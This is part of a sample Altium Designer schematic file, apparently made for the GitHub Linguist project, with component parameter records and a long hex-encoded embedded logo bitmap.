+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Initial D-S Voltage|UNIQUEID=VDPKLSAK
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Initial G-S Voltage|UNIQUEID=BWHKCPYR
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Initial B-S Voltage|UNIQUEID=SOUESXDF
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Temperature|UNIQUEID=MRXJNIJE
+|RECORD=209|INDEXINSHEET=34|OWNERPARTID=-1|LOCATION.X=30|LOCATION.Y=700|CORNER.X=300|CORNER.Y=820|AREACOLOR=9895935|FONTID=1|ISSOLID=T|SHOWBORDER=T|ALIGNMENT=1|WORDWRAP=T|CLIPTORECT=T|TEXT=This is a sample Altium project made by Jeremy Blum (@sciguy14 on GitHub). It is meant to serve as a representative example of the formatting of key Altium Designer filetypes, for use by the GitHub Linguist Project: https://github.com/github/linguist|TEXTMARGIN=5|AUTHOR=Author
+|HEADER=Icon storage|WEIGHT=1
+|BINARY=208|NAME=newAltmLogo.bmp|DATA_LEN=10260|DATA=789CED9D09601445D6C71FB96632C924E42009218424403843B8C34DC2210A222887B7DC7880088A8810119588A2728A1CA21015345|>
+E882222872CC8421691430C8B1A360B88024B30BB64D7307BF43793B3ABAABBFF3DC98440BEFAA19CF5BAAABB5F57BF7EF5DEAB3E8337DCE8452E3AFB103577FE3AC4F9C77F3B7FAD43D6E2BF9FDACF8|>
+B4203A8F87FE75F9653A74E1DF2F2F2226F6F6FF2F1F1215F5F5FF2F3F3238BC54256AB95FCFDFDC966B35140400005060692DD6EA7A0A0200A0E0EA6BA75EB524848088586865258581885878753BD7|>
+AF528222282222323292A2A8AEAD7AF4FD1D1D1D4A041038A8989A1860D1B526C6C2C356AD488E2E2E2283E3E9E121212A871E3C6D4A449136ADAB42925262652B366CDA879F3E6D4A2450B6AD9B225B|>
+56AD58A5AB76E4D494949D4A64D1B4A4E4EA6B66DDB52BB76EDA87DFBF6D4A14307EAD8B12375EAD4893A77EE4C292929D4A54B17EADAB52B75EBD68DBA77EF4E3D7AF4A09E3D7B52AF5EBDA877EFDE9|>
+49A9A4A696969D4A74F1FEADBB72FF5EBD78FFAF7EF4F37DC70030D1830806EBCF146BAE9A69B68E0C0813468D020BAF9E69B69F0E0C174CB2DB7D090214368E8D0A174EBADB7D26DB7DD46C3860DA3E|>
+1C387D388112368E4C89174FBEDB7D31D77DC4177DE7927DD75D75D74F7DD77D33DF7DC43F7DE7B2FDD77DF7D346AD4281A3D7A348D193386C68E1D4BE3C68DA3F1E3C7D384091368E2C48974FFFDF7D|>
+3030F3C400F3EF8203DF4D0433469D2249A3C79323DFCF0C33465CA147AE4914768EAD4A9346DDA347AF4D147E9B1C71EA3E9D3A7D3E38F3F4E3366CCA0279E788266CE9C494F3EF924CD9A358B66CF9|>
+E4DE9E9E9F4D4534FD19C3973E8E9A79FA6B973E7D233CF3C43CF3EFB2C3DF7DC73346FDE3CCAC8C8A0E79F7F9EE6CF9F4F2FBCF002BDF8E28BB460C1027AE9A597E8E5975FA6575E7985162E5C488B1|>
+62DA2C58B17D392254B68E9D2A5B46CD9327AF5D55769F9F2E5F4DA6BAFD18A152B68E5CA95B46AD52A5ABD7A35BDFEFAEBB466CD1A7AE38D37E8CD37DFA4B56BD7D2BA75EB28333393DE7AEB2D7AFBE|>
+DB7E99D77DEA1F5EBD7D3860D1BE8DD77DFA5F7DE7B8FB2B2B2E8FDF7DFA70F3EF8803EFCF043FAE8A38FE8E38F3FA68D1B37D2279F7C429B366DA24F3FFD943EFBEC33DABC79337DFEF9E7B465CB16F|>
+AE28B2F68EBD6ADF4E5975FD2B66DDB68FBF6EDB463C70EDAB973277DF5D557B46BD72EFAC31FFE40BB77EFA63D7BF6D0D75F7F4D7BF7EEA53FFEF18FB46FDF3EDABF7F3F656767D39FFEF4273A70E00|>
+07DF3CD3774F0E041FAF6DB6FE9D0A14374F8F0613A72E4081D3D7A94BEFBEE3B3A76EC187DFFFDF794939343C78F1FA73FFFF9CF74E2C409FAE1871FE8C71F7FA49F7EFA89727373E9E4C993F497BFF|>
+C85F2F2F2E8AF7FFD2B9D3A758A4E9F3E4D67CE9CA19F7FFE99CE9E3D4BBFFCF20BFDFAEBAF74EEDC393A7FFE3C5DB87081FEF6B7BFD1C58B17293F3F9F2E5DBA44BFFDF61B151414D0DFFFFE77FAC73|>
+FFE41972F5FA6C2C242FAE73FFF49FFFAD7BFE8F7DF7FA7A2A222BA72E50A391C0EFAF7BFFF4DFFF9CF7FE8BFFFFD2FFDEF7FFF2345514822D1C4660F8F6DD97DD8F40F0B1437A8E9514BAE792C09835|>
+E392BF549E241AC8923B7487D927892D8FB72A43E493C887FCA06A94F124FD2EC55A94F124FD2FC4DA94F120FE2DD355BEA93C483048E2B92FA24F1204DB6497D927890C029529F249EA4EBAF529F241|>
+EA4D15EA94F120F12F69ED4278907095824F549E241FC33A43E493C888557A89A1E90E4FAC6B648EA93C483D8B3A43E493C48D85EA94F120FD2E8BCD4278907E926F549E2491E91FA24F12081DBA53E4|>
+93C48E32B529F241E64ACD4278907B1674B7D92789014A94F120FE2BD4EEA93C483B496FA24F1207536487D927890B6529F241EC4FB13A94F120F9222F549E241FC73A43E493CC828A94F120FD2C8A94|>
+FC36B7A1092DAC356393F493CC870A94F120FD244EA93C483F8E6487D92789027A53E493C483FA94F120F122FF549E241ACBFD5F40824B58A8D353D0049AD62464D0F4052AB90CB2D124FD2A3A60720A|>
+955B4A8E901486A158D6A7A00925A45444D0F4052ABB0D7F40024B58A809A1E804422914824128944F2FF195B4D0F4022914874900175124F22F54922915CABC8F94922915CABD4B2F9C9CBDBCFCFC2E|>
+2E7C4A78E979747FBF1B50426DD3263DD99CB8585CEFF9C6C5C36A16F7C80C5C7A3BD5C8768EB93DD1E6873E26F3320C0E6870FEF650B2CC15EF27309A57F632FFF6BFF92C6FEAE1665ADEDA57FB0DB4|>
+BDABA7EF81BF565B1068424741D36ECE15757AE58B162E58AE29F572E193E72E41D839A27B56A1018A81E7080EBC0F68AC1D955C32CEED3E0EC2CF6B4977F55440A326E88F4F72E6FE61D10587EAE25F|>
+F959E8BDD5EFA0F16EEC0565BE9652FBDF2AEDF95FFC9F5B3C605B096DD107FD5CFA5AD8B7FC377E23A01FF80D256FE65BFF8798BCD78EA585CF7DD6AF4686AEB538E92B766DDBA75999999EB8A7F29F|>
+EB9F4FF925F32D7BDB3AC131E817DA1C66517196D7535B63D80DA4DD4EDC812D46840FA3E63E9E3C92A8183A8AF76BA5DD5BBE3ACBED873EDEB966962F84BA88F7EEC917D07BEB36E5DD925CE2CFB5DD|>
+96F9C6C784CBC97835F57DD998A1B95995976903BC453E8BCE29D4C46E48D39B72447D935344F459DA0E613576F78FBA3F1CD82F41B69EB537F74218A5968DCBF8BC0E74D1DA96BF12DF0EB8EDA2DD77|>
+99F58EAA56E31D1CD2095C89C22E3B645A3744EC9DE2BCF58F268FF909267DD6F281AD0045FE6D0BEDD90C0CE10613C7D2E0099BDE2CCD36C8F56C30F6E8C368887B3365BAF28F9B927CF29CA9A04DDC|>
+95BE77D77009D988B6CDD47B81CBF99660EA4B42B79ECA2C13D5636C568F612D2F7A4A96EA6A82E43DF73A0F17BDA67143A07F7939D5CF20427A3F3591AC91EBC3E12382A5EF298E340E6727DF1FEAED|>
+169FB6CA29E465952CF2947E6F46FD6B2DF4BDF284A8AAF4E336DBC53C1184B988E2DA831A60ED4BE449F42B68176DF77D3EA236281A94E1465757485502C52C10B9AB37ADC7A533D3D53AC28F1D9A0D|>
+9C196ECD103760281FCBBC5212199CBBD449959BAADA7C56ABE757C3B9D553E6B5BFC4F5E1DB72A4A2BAD46A4FB7DE79DA5DBA18A2F1AEB1CB582F1668EA3B42F99920327A386E334BA085E65AA0F278|>
+7935462C0D852F2B566DF3053D7C5494E1B1B51E422D4AC0F7B78EB2424B0BC8E30A627D09B5B2369F78633BACDCFA6694D5131594A5644CB173A5A2876DC944EDB94AFDC8B14F749462756CC9DF0401|>
+34D1DA7549FFCBAA2864BAD62177799EAA298012AB1D9E036148E11BB32F9FA2E666810F9C3A18D652703DF1424B0395C18546FF4E6DE2D5A9D4D8C26B5F1F5C4131FA49CEC400F28A3FC5D557CED29E|>
+795AEDAF75BCFFF64D17BC332BC0DF363EE317318A55DA9C918731934DCD644E821D4540F254C52DDBEB47CD0384B3C9B6647DDE86C7C30C1E7635914DB419403081C6E2F0C2AFA1490392F1A50816F1|>
+B092C12CCD47A0B94A70269B4AB7CEF12E5E560DAAAACD3BEDFBAFECCF84BE85A38B978839E78197D0A4C1C4649289DC5C33F070D4FF7117AB8C94C07A5A80DA818F45D945757E86B2ABADD0CE382E24|>
+E802647B984DA40640C5DBA47BCC69A1F6B2AF27B8B32E98667B2B001D73C7E8F729BCB189E16D771BFD2CF9F46175C00379EC73F1D8CB2A463F19AB3F4D27F51AB283B8AFD41D47292D0C37357904C0|>
+539AD5582DF80C6673AF05D056F34DF958B3B1B3C839A70B6B2ED2124B058F4404103EA09F1BEF4379ED45EE1FC12897945CE4FA1D1CAA5B3CEAF57E72BD7F9B1076E3C4F9DC6064EBB72CEE8BC46CBE|>
+965E6284A68696BBF2EA8E59240BE8723663A2843ED40440654C158BEAB64E8046571DC7D276A329A35087DA001F589860185DEDCBBC5AFFB0430A971E34ACCBBDCD5A54F879E7E32E7FD4E564ABDE0D|>
+0BEDFFA6A6631F5A93FDDC057EA220DBD558A29D3278A450E98AD4DF91ED0C56478407599D2D0AB388BFF961A606AB25591FD0E6AB18CF3404523010D032A0A5D8253D1828CED2320D38199071B1F526|>
+E72BDEFE6123DA67C194A775D2A32BEEF1A442347998BEF5A1A1FA4FD211307A9D0A77A9B41CBB38201656A022C6395EACA3640BAFB136FC70E764B774D71A219DB45F09740A040C303F5359039972AC|>
+ACC05A6E016C692895CA93C6173CE4FAF376FB150D91E4A9BB4BE565C18BC06AD7798B920F719AED152C2263307092B6B6E87F6C3FD7C0FBF98E9A08C1F55EA5F07BDBDCEF4E4BA9A803E3F2B4177B68|>
+B4068412E102FF20C6440CD14656E380DFA49552FD3F80F510EB6A6298AB2C3F9480DF46A714EE9AF7DBF8D12CEA391BBDAC536E3122D4DCDACAB5D2A9F9F7CE117F642DE91E6D6FCA4A4A92467014BF|>
+EF274AEAB97DDEACA1CDCF3880DA82CD13BD413BDB97788467C02F2E7EE6354237AB3B2A67EC2A0894FCD1ED69DC2DE530E8609472CC6C84CB7F4357341061A461635DD6AE210DB832B4E13BD84B6F01|>
+E28530E8972C6AB12C47AA3AFFFCFB8AE1E77AB2B732CE70CA80648E05B0D030A9DC80FFCF7BF73C6419685D25A3D4179F52C2C714B39FF322E43B9D259E77E1B7EF6456D377141561AFA341B7D60E21|>
+0EB2B8CFA48F4497E2195EBC1CC245A81DA03056FDD11CE801AE19EEE9AE224F77C8422175CA1684079ED053267F88B46D880529E607CF7F6C105CAA7F724C5C525DFE5BC451AC72B1D8ADE3FB8B0F43|>
+07141CE19BA0C429699384456853E0541FB815F06596EA2830A4EAB1C8816144591C7195043CDF878DD2585EDC30E83C0E68957F9312052090F947352639769AC1D172B4AEEAE5D79CEE7BFA3EEFD367|>
+64B859A596A7D36D4E008F6574C1C41A54F5E3004E805CE853AD62D9FB5A2F2157BA1D5B822CE80EA81DCDD95613C6B10FA4217DC7AEE0DE9A42792D92CCE1BF13026897F4946A64C5C77FCF8DA499DC|>
+5B7A749B075E8E44CB2C11182CC04686655D84FD4C45D03AA331260995A71FBBC7AA3C61FB15D259B0A0B73937739E7502C12D0F04045429986828C751712EA2328A13DB251A348438F23709B07CF357|>
+145EE333A428689037CA6D2A72864705DE29628624C74E0A468EFFA19E9E9E9CF0D564D6FF5915036BB301A6DCAF9A128BFED98F7D46BC7CCB555F2390F54F82740A0480CE0F54306545EAA7867E6A20|>
+731DD4448390F5A866963C26438BE76D5AA952B57B958E9FAAFFCB7CE9FD6FC88E595C7549FA6D880E20271FD0F9BE8617B97D8E8C81027A141AA1840FFFD40EC2756777D5F37D195B2232DB67E68487|>
+84C7C2F33B6A3B08467BF1F09CC1162A0BCA101A5E181EA8FBCFD27816E6881127C829E30754DAAC658953E79C16F80F9EC5AA5978900DC25A2C9E1C2824EEEF7C75801FDB0C60A96459669AC6F58DB1|>
+D26041E645F20DED080CA14964FBCA001B5518CC38B870FA2F89284C065E22433134C1519AF769D35431FE55B139901D6E9078FBF3F5EFBDC7C615833B7AA7013722A3BA734C67D126DC25EC8E2D4230|>
+E0954C680CA8E15642C687676F4D5578B4A63198DAF485561F429DA30D4CB4921F715DF101E7F8D9E5704AEBEEE611FD144146AA42877B11341184EF029E03E3022504CB163847022361437959B26C85|>
+03A32A09ED2B96C06E0309666C8D6AB3A8C3ED961883067FFFBA325E702DDB43D3BD28FDC54A6BDF55D782EC99C119B08FDD00AF77C044D4002B3042BC5320588383482C8FBA1A5AA1FF4AE9B3E589FF|>
+CAA7F829AA0AE92876D810CD6E1658156CD3ABD73B3213BD6318D15980DCFA535A74F3E83A1C824D680F2C20694E000F281A98B59E2C75A2C72A75D8CD3BB7055A1D1067845AAC8CD8C67BF190A99DAC|>
+6C640F9A4A1E37FAA97D7853348D7B1B76100722A2B49FC7D0B5F8244367241E409482047881CC506D49E0441C61B0558140C10643C80D750F73CD0EED399891F8C7E13347770311E11E8F8D96216432|>
+9D003B5338E69DF18ADCA2B6D84796010BA7C0EEE5647AE439D0C134E2410ADBB9FEC27C8D02C6040399ED3BB6EBA9809038EADEE09AA13630F60038AB3796D9F81F679BACF5930B2637F62E3F7FC600|>
+4F960612E6C0883347BB1F650C048243053C8B9F487997B1A4B7869E7814CAE67ABD2947163211A6CD560E727EA85DA3FCFC6505B61D2A8EE874A00B26395475901E3BC1027E9627A2D32D2944782590|>
+198FCB85EF00CE1C8FB0DE24B3F260FC89CC109BB1CA6D214C2CD5549A9349DD9E7B3C5CFA0FD6ED680F2ED883AF848AF720736A0D6B2B7A15F1E687F588C50BC057D977FCEB95BE37E00023F880BFC5|>
+1A893DD1A2F7D6440E5DFA473DD743197F6D2C7F381D36AB8EA0AD130AA812B631081E270BF665DA0EABED06DD8C13EA278555E741C2621C7A1C2F95BEBC1423F43854E8250206C9E46842E0C147E41E|>
+FBAE9614E9F82CCACEA569EF6ECFC14080DA83B59013B5A423DA5FB9CD545F1FF79AC01E5856C35A59FB0B2110173AD53D949D07F0412982144EDDBA0D74AC303D50BCD133F98A819C720A6226BD2A13|>
+A227FCAE1D7A3E032C802D680B28D4502E97A2716081320780F1432A0E68A2B654FA23EA67306543B24B0419805BD5B2399B7C4BD30A2916BE627770D2893699E5633712B95868FB06F950B04F6B3B68|>
+04F07D4C306BD2C1C6CC7AE6245FBA025BCA3625743D1F7CC575C92667C0E1038297AA042D15C939D24C8D0B740E6C22051C610B369C36DD11956053E023D7A0592E0C2E123D01AF21E2EC8A88206E85|>
+E6F6575B7112C89211A506DA0D78A4B12AAF70212182274128CDEAAE745A38BA681D9B6E825BDEB5655A6BA1706E916BC3ED9A0013592FD600B46D9AE6706EA9D5728B2634FB18E402FE4387488CEAEB|>
+04C743EBDD9F3B162034A7879D9606EFBB3E2D9F74077F5B0717AA580E9B2068D51ADB52A2064C8F441120BD8576400CC8D9FA5775E388172322B0057E5359CCA4FA13EF8B47DE801C9AA8401F5B6587|>
+C132ED3E408F9FDC6982F93F1607524779420E8532B14747588B5137DDBA32E32F512577DA001B59C15ED8BC21A8F88CE2E9818B397CBE948406FD5D3620C543D54576CBF86018562EACE0ED6B96E552|>
+6D24CA66FA53821E49AD687061457ABBA3E32A076EB1A50EE96E0688874BD48CC986E0D3D509C4CF87C24304C580A095D0D44F26F15CFFE517432AFE85D376DDC28E3736F35643316F381300FE33A922|>
+3D8492004C5A09DBB51EFB4C25180D22FAC01E50DEB9F8A0654088C9B4A65CFC70297F0D2858B16703B9299239E3D8CAECE36AA48502522716458E5D824BED7072019B70D28BE164139388192AB61860|>
+C284786D809AC2B3683AB6BD519096C15E24FBCA001F5A65874001A50477597163471A7CCD84D6839DA69A6BC5DC63BCE1F2E5667C30F430D7D4A42B58272D8250A6FE8015CAD9736E6034B702C61332|>
+ED3909D724834A08621E7D041CEA3D91479860A3596F09065A76540A1F5A3B337EB5C376DDCD1A7209C7E36A061ACEB476CC386AEFF5C448F866B7F1AFA140597F0387BB4C16FA0FDAEE67AA7150F3D5|>
+0AC0115833C9AF9A2018597F0B88881F01791C01021D02A6C251029B8451898DF3420E37859EFBA551D581257AB38D10DB042DD56519F2C0F23A1616C41BEB0F7407BFDA5F2888F81E8053696DF07059|>
+D5F12ABD406C1B220BDD995323F586ABA320694B884E70D0DA8ED42854923DC2AAB695B0D430DC5D4F6C1D0CFB03058EC0A56ED7D915DA2088051EED3C44E4AC0F17B135801B4847745C380820BEA333|>
+8BB17D671D82E248179B54232ABC4E29B30B8F5807B06945BB443A683325B90E9F63D9299ACF10424A332ABB9AC43CF1B2EE12DD72B458C132817B00A9F8A9E906C71F3806168963ECA5D8444F4862C6|>
+C2B74D2200FC8EC6F23C85850FA52F579A09C9DBF8126A85382DFB6D56E20A23CA4A14F51C899C27BA01A226FC6CE16622F253446E1535B58032AFA2268FFB3D855128C9B72DB80BA59A8DA1BFE1A102|>
+91475C30A0D280D1BC663B4401F6B454291E516509F2669E8931F0C921DC3BE20C2501DA87CDDDAFB91C879959FCAB4F745CBBB17C57C013B74B6A4B2EAE1773712982DD449B2C18AA7E24BDF071A509|>
+FBA6540B987D73348A1B2791F472B9853ABA54F04D3D6D6B241B2B6E1B01BBD93C21E28EE2199056669C7EB6227700FAC99DCCA2B4C43DC1DC7F751A70D92592516138406D4410D2F832EEE96B987C9D|>
+D0EBE1C5F22AC09A1A94F6DD1F60517D9AF726C8C2ED5AB7BE60D6DDF05ACED958A5E90074467D76D5A1BC4AAC9E1B63A82B9ED45E27D86199AD9AD059940747F2EE15D9F2A707B3FEA479105B59BF38|>
+B84A37A04CA542D7DC206141703D5104568E91B5089B004071B03D5E077D03E57ACCADE0AEEAD10C3553E8033DACD42306E04CA1D2D12BD2636E89A717309CF3DC2F340EF7CF1F4BA6FA0F1A669659FF|>
+8CE4062A359350C47D59C0B754A6613D5471972055C1D2814BB93AF91708902D595DEEC0AAF375C427A4A9870FDA1076AB2B08CEC0767E78F452F832E6ECF4F741FE8DDF139AB1E75D7A2F176D30C7A8|>
+706D45BEC129E7518127840EF9482A007EA5E5600B65F21760233F7F8244D58CE7AAFE88787997BAF4509327009EFA0E899F02061283B2E8FCD660A81D9D3DD35F529193A60B82F6CB81CBA58AC045F0|>
+22E023B9F9D0AA0B36BB76840C17ABAC7B8CBD00C19360E71D35518787E4034BA8251C469A1C60EE97AB83F3F79A1CDCF1DAB99F6DED00ED0D6A708EC81622DB558141BB65B77AF99666821691BEB240|>
+E4343CB116F5B3C34A0B8E723145EB8C182A11081326F1D62DC4E200C0EAAC6253C270168E238CE2E7DC3580D6D7DF2829516C7B16E68E801BCA26F40211B8F2BD566F910B4BF70BBD08737DC29A21F6|>
+BDB78C125A4670403CA0AE3A6260BB5A37080459676B9482DDC9F9FC82715BDD897305F2ACFA2E16ADB4F3418B9BADE65ED44CB6DA8A3897AE51D7006E944C6DBE80B13FE340C28B4DF9E3287FB32EE8|>
+D021F0E88A93430F079A5987109B7EB38280617EB51097D221B7A1365336F07A84F3A912449B0301EB7CD6D32BA2E8B75B70681CEC357193BD60BDEB6ED62CC445F64401DE75E5F897046133D2009286|>
+EEAB0E8810A45E9D58EBBF4AE9B47F06E8DFC2F73D54F33DC74572747396C2D905352D8B93B0E7DC6FF51D7806A8E42D10EB3B66F289A6B8E8A45FE1BA18AE4455CC440085CC2BB5B08C68D80997B03C|>
+42AF5B042F502D395C82B333F51005A2BDBAF9EA06E414BEBE2EE9125C01D8CEFE73C50CF21017137EB52EAC3F83D3606CA1F855B9DD7702AA3C0F32BBCAD3C0E0DEA7DE1EBDF023D50CF0A3327DEE24|>
+3EC478F4AE9133506DF430563540FC1101426ACA74F4390FDB0912BA439145D97F1E246BA2504C05B378E7919F9212F9CF2AA68ABCD7437F0BC370C1D6B23F402AB67E788312BB842B5FE06401EC1361|>
+50C60BB2AAEAED2FAD41AAE2473926DD15B68A9EE73D61B75B582792B7B43C7E11671B53015D5D3E50DA8263045ED31C1CFD509892813ADBC0C2C9BAD985EC2ABDCFC448D806DA90E5B19842EA39E3E8|>
+5C234ED2EEC97613C0A2439A06B40B5CC03A239ACED1B8696FC348ACEC7A0CCBD4B9C0165623325C14CC33B389D14DCDDB08AA832CF6CDD9E4AEA93FFBD60001F563C9E2920D7F59C6ECD20B893C6435|>
+C0C14FC94D4A8EA5E4214CC20EDCDB40F4035452F6AEC1B8D22C12EF3ABB5309046799B0BB0F68599668AF20AE74EAA130F45D69BDDA2AC92FA445120A1E94C459A4D6BF0DDBF49672B5AA7258FEC872|>
+D6C20AE0FF4408DD52B7C884B708C635E1356F440294B45030A958373CCE704606A96A2CC621791C260693B27D3D977B1751494385ACD0614F9A3D5D7F5E59F11ADC15B68ABEEF2754B58E7869BDA3A2|>
+2036A99AEA71796E058C5F4E50543D7341E935EC8923CCA99364DD0E6AF4E66335EB86E309BC8C5E3CC74D310253B3A31BB8457D9F989A2C0E47DB63CEBBA0D700BE9EB53DDF7D16972953713D012EA5|>
+1DD7221AD500DD41FD90A08E168EED430A0A2912579864BFA0D5A0C045CBCDBADFC2BC3DED964159C7753A2CAA64F4B1333B5E2E6A08DC8AA8A0FAAEA3CBFECD32301EC18FD857E780DCC329AC496410|>
+A9A8E044636699A58FAC3896ADE8F42B1FC0A5B45DFBE1E34BFA46140218FFF45BE4C155CAA2D66E980A4A671918D13DB4D440A5BC1EA5BDA26368E4A486C330205C2963437DC75DC13D4036A72A2ECF|>
+A078300CD2FF5F569085AF7DFC585760E42D7E5DCE19C0A8EA86E9F153A89C730BA6BBB07B5D728ED060D285EA637DCDFA394EFB6BD96FD93C9B665FCB8EFD55D265E75C5EC13976934A9F4FB8E2C68C|>
+D6B4EA931100A9EE4CFF5F5A9254CD3E61C4AED4C990FE52C53894247206B407927A1F61F88E7051D94DF72065403B81FC35522AF8B39ADA8BC3E510858163E50BAE4150A8AD5F01B96AB0882D599390|>
+32A0EE58EB3E4A8FC0DADD1A39AC7DA5E1168EE3CA46140218FFF49CE80B2C0CD84AE1205D598D5594647B0D03BB9E4051100DC9293C46CDA729E466BC993D807DA0EA3CE19CEA854047BA0BA325DD58|>
+541E71A0614FA603DC77BA02656F75E4C6611F22AB5A9C2FC44A18B8C8770A83410053C63530D366087DB5BECE65E1043DCB9464ABEAA4CAE05DABE6C06A90D7AA0786F9213A4EE452F72025DCD1A38D|>
+5CDFDE674A22AFA44ED409DF0D20714C4AD1AE9135C41E10DA84EE6BF709C385E5589DE885AAF61FAC24B78EF8ADF44BD90836C0F97D519836B245D1DD2CD15FAAD923E058065E12F4A1230402293913|>
+E59E18A68573634271E558E6639A89A72DAA01AA83FB3C64D7D64FB7F2B1A5070A52C87DB90C00F06D25C25E61958252AAAA44F940426A892D7C932E346330CF489E620FB6132BB821238D3ADAB94AB0|>
+AD4C235CCD86F9C5014747E595C95F742FEC6B3FC86040F5463DD777778C19C3E558D401036F466F1F2C638E3B5F81146153FFBA162707B38C72D5CC26338AFAAD8667904B566334803A007EA19F17C9|>
+001255433E9560D06D4954AC83CA4B7F2C952B5F9899AEC321CC4A5E280C85B8DBFAC538D468AF707E356E43A230564702C55894267E85AC620F26E8BDAAF17570BE15E913BB88D0FA26110F92AB4BFB|>
+BC08A87DC757D3A9F25730A51457DB2829C9ED52E1376B8B13EF532D2270B0A9255BAB269FF71B0B220C35ED534DE0665C85D8863BA8A41252E3496F0A00175985B61F48341609F7546E53978C605C1B|>
+42A01B1F466B59060EC712C7055FD1A69EC15EE6D3893A6A3DC87875983DC06A3CE198EA96CEC486840A5305D85A1F6452385D3B1A225BC9F790FD483C8075A140AB36D38BA931DC62B731C12F32B34A|>
+9E2FC447EB71A8F233DD469039D346C62AC4F7DD1FB6B2F27006B6A319C5615ABF7459B05286318A33410D64C9D2DEC8507EBA4093150D80395E407F3DF19B6C611D961B2284BA6C98C84AAEA13C518B|>
+B892F38A7FC76C62FF8DE86B1A48D5021CD42EE4C53D0E6790C8EB92A515C828331A0EA400F54A610CA8CEBE97EC67D9ED407EBEE8A729FC5DBAD19EA4ED7031C38D0AD4DC6C7E86572781AEF81C6039|>
+95E97928DED922E86C95D7EC8A3E960E348280E552F64F95C75A1DAA0E5E702B6A2492C729E1E16B73D8C42033AC0ED34E38B026394F536F26BFF0B6A554E56C94958BB7C675A44D92C1413D6A1CAF31|>
+38518C77CE537A364E3089B38E3E3A3346D075713D20AA3CE190EAA0CA888D751EB142688371CE5213AC43A5001BB80CC197E43828928F5A13084C8A7115A4E2CA328ADD4C3E2D7E82D93224AE1AD576|>
+B7A72D2C7D84F3CC1AFB5B13E8949F8ECE1D124C01B50705F418653AADD7B70098EF18C0115006DB599C2BBDC0ABD5C7C165E0ADCBBB9AD6B860F812984254CA85838091C62D21325A6585523758DB37|>
+A2E27807D3A803EC1E8E60B5CEE450A8ADC65516FBA044B70BCC746FFC35D6332B9120BCE89A43B92F9885B2F8884059247176BADA5D97AAC1E5726AAD7E1FCA2169B885F289C68CE97E9293A18D7601|>
+81461EC1202FA049728B86284D4106E0EC6B049F5ECA1541CBE04475CAEC371C551CE15F56FAEB87E3A267AA0A28AAE94355289AA64F7F1552EA047ED8392FBED15D0FDF30243FD709C19CC19AB7E2DE|>
+65D347E880A37B5375DBDC0431807B4EF4E32B628813EC120D9DFB95D492CD080BA94773237F7A48BDC93B99B550654F862D7DFE4BAFEBEF8DF4ADA94FEB9F867F6DA86DEB970DEBC8C8C8C79CE1F19F|>
+3546414332F63A19867143865BEAB7971AB12E1E2DF6594FC795EC6FC745E07471D2FEB3DB7F4D7E241E5568CAAFC9108E8B4EC8CAEF7B8E0CC42B1422251F484ED67F5BEF51CE7BFB8B91ACB8FEBD0C|>
+E7851E421E3AC9386E0E8BDD13A7E1EB784371406E155DB1E81D7009103D6E59CCAE79FC1825F7EFC6A946E5266C2C46D277EBEC45DB6A20B7987E7B5D32B99A543D5BFEF5C4C329C427618BA24CFE9A|>
+59B9701772539CBC57824A337E416F3F5D6AE4B02DB8ECCD876F0C8911379A74F9FCE3DF6DD91BDEB27F5112C3996A82E772DDA75F0D8B1DC53A74E9DCE39726CFFBE5937275DED175D198D61CD7A7DB|>
+6C19B8BD4E31217E311012BC09AF5A65CCF04463768D6BD578F9E1D63627413FA0599D886ED537BF64C4B68808C103D3C333FD194CA47E9EC84FA340D79A0F87AA1B3519FBDCC967790B8C922CF1C266|>
+17B35EA530F94657482FB9EBD0D2D25CCD0D8714FE2093C343FD1AD95DEFC7C27CC3C8D42FA94CB6E87814B971FA9F66C5749D5F087BB6AE8B1071BC72823FA02971C160E171284CDC125D718ED8C835|>
+2F4598F770741155D1DFC5B1B7AA0065ECD0504496530B97C24F008B6657A206BFF0817243B0CED769E210DA86B9D20985FAB8D09DB18EE58739CDB333909B918BED3DB0B4F72CD908022DF74F449BF7|>
+C41392829E11C674085C218A8A642E4A4E45AA32BAECEA7A54F787EF242311E8E859C042C1C7587B97457494D02E365B59889E727BC9FD85E6E456E04DA827CF5D5484F94540D5FF7D37014E541A3F4E|>
+052EAA1831CE18264A101754EB708ACE4DAC1A7120A65EAD31DAA07971E160CEB40B5ACA9B54E891BE0ED4304D24CACA5F94D0107110C28B817E148E981BA1EB0B83D43F535114CEA0D8364B773F610C|>
+84956943536EDAE24D716D6B46AD0276C401DE40D28983B2E97F0AE133AEF724F9FCCC48EF8A3639EE53C50765838AA8334A0AE1312E0362A6A6E30333F59A101C5D7B9815BE94CB8BA491B92CA133A0|>
+06EDC5641B2194FB52FDC337923E7161D899CAB5BA4415E0D782AFE89C5D2043AA8CB31173A128E0E93CDED429C88D6688AEA69F724B91609E96036FFD99C3ED9515508DE80B27C813AEE2097F03C4FF|>
+5CC4F4EBC42DA99CBAB34A74FB687D171F84ACB7351D6D4E3D280BAAEF00E4E0295588B31976BE2070DA82C6E1D7000DAFAE4A8D427CF53ADCBECDE8131C361F2BDC9D0DB08749C7DEC8EF69400F74D4|>
+289A4926B0F4B406CFFB9861552E2CC1DA82E2AEC7E61282BE00D7302FBBA99FB2AB926F0F5B3C6A7DEB120F3526119972B7EBABCDB64B261C0FD975D3297CB642F17FF72B9E20F85F33809ABBF139BB|>
+F0A9BCDDFA6FA1B99842791482412894422914824128944229148241289442291486A3557BF5AB9A43623EB42483C894C6B947812AD1D3D2492CAC26F66249154851E353D0049AD42DC915422A93C337|>
+01389C4341B6B7A00925A45812C0B21F120FF2FF682935C35947E353D02496D4249AFE911486A134A8E0F6E24919844519AE04612894914457A34259E4351B6D6F41024B5084551648881C46338F5E9B|>
+E9A1E83A4F6E0D4A71CB9179CC453B80AB5A5D4F42024B506973E7D2AB79E907888E24A92ED6A7A1492DA42B13E6D909549259EA1A4D46DEB9A1E86A49650A24F99D282927884D25ADC5D6B7A1C92DA4|>
+1A93E1D9079C2124F50B659C0B89A1E88A45650A64F5764D88AC40394EF66B253BEF12455A7627B9CA9353D14492D40B5DF92FCC6935419953EE5C7D5F46024D73DEA0DE1BE0EAFE9D148AE77981D06B|>
